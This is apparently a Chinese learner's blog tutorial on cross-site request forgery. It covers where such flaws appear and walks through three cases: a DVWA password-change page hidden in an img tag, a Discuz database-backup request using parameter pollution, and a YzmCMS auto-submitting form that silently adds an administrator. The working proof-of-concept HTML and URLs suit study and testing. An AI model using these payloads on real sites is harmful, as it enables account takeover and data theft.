zoukankan      html  css  js  c++  java
  • 苏醒的巨人----CSRF

    一.CSRF

    跨站请求伪造(Cross-Site Request Forgery,CSRF)是指利用
    受害者尚未失效的身份认证信息(cookie、会话等),诱骗其点
    击恶意链接或者访问包含攻击代码的页面,在受害人不知情的
    情况下以受害者的身份向(身份认证信息所对应的)服务器发
    送请求,从而完成非法操作(如转账、改密等)

    1.可能出现的地方

    所有的业务点都需要进行测试
    1. 转账
    2. 修改密码
    3. 个人资料
    4. 登陆
    5. 加购物车、收藏商品
    6. 开通业务
    …
    

    2.CSRF漏洞挖掘

    csrf感觉好高级的漏洞,有点似懂非懂,还得沉淀,只能照抄老师的方法,等挖到才能自己整理好思路。





    二.几个案例

    (1).dvwa,级别low

    抓一个包,

    get方式,只要把url给管理员打开就能修改他的密码。构造get网页

    <!DOCTYPE html>
    <html lang="en">
    <head>
      <meta charset="UTF-8">
      <title>Document</title>
    </head>
    <body>
      <img src="http://test.com/dvwa/vulnerabilities/csrf/?password_new=111&password_conf=111&Change=Change" border="0" style="display: none;">
      <h1>404</h1>
      <h2>page not found</h2>
    </body>
    </html>
    

    打开这个页面,密码就会修改

    (1). discuz cms 数据库备份csrf

    通过双重认证

    抓备份数据库的包


    第一个数据包为假的,过掉
    http 参数污染

    在这构造

    csrf请求

    http://test.com/dz/uc_server/admin.php?m=db&a=operate&t=export&appid=1&backupdir=backup_180504_9dJ7cL
    
    http://test.com/dz/uc_server/admin.php?m=db&a=operate&t=export&appid=1&backupdir=sss&backupfilename=ldx
    

    --还要将最后面的&与=URL编码一下

    http://test.com/dz/uc_server/admin.php?m=db&a=operate&t=export&appid=1&backupdir=sss%26backupfilename%3Dldx
    

    然后用普通用户去发帖,把payload放帖子里,让管理员访问触发漏洞

    管理员游览后

    (3)yzcms 添加管理员csrf

    在添加管理员处抓个包

    是post请求可以尝试转换get请求
    写个post的页面

    <!DOCTYPE html>
    <html lang="en">
    <head>
    	<meta charset="UTF-8">
    	<title>Document</title>
    </head>
    <body>
    	 <form name="poc" action="http://test.com/yzmcms/index.php/admin/admin_manage/add.html" method="POST" type="hidden">
          <input type="hidden" name="adminname" value="ldx" />
          <input type="hidden" name="password" value="ldxldx" />
          <input type="hidden" name="password2" value="ldxldx" />
          <input type="hidden" name="email" value="" />
          <input type="hidden" name="realname" value="" />
          <input type="hidden" name="roleid" value="1" />
          <input type="hidden" name="dosubmit" value="1" />
          <input type="submit" value="Submit request" style="display: none;" />
        </form>
    </body>
    <script>poc.submit();</script>
    </html>
    


    成功添加用户

  • 相关阅读:
    事务传播机制,搞懂。
    洛谷 P1553 数字反转(升级版) 题解
    洛谷 P1200 [USACO1.1]你的飞碟在这儿Your Ride Is Here 题解
    洛谷 P1055 ISBN号码 题解
    洛谷 P2141 珠心算测验 题解
    洛谷 P1047 校门外的树 题解
    洛谷 P1980 计数问题 题解
    洛谷 P1008 三连击 题解
    HDU 1013 题解
    HDU 1012 题解
  • 原文地址:https://www.cnblogs.com/hackxf/p/CSRF.html
Copyright © 2011-2022 走看看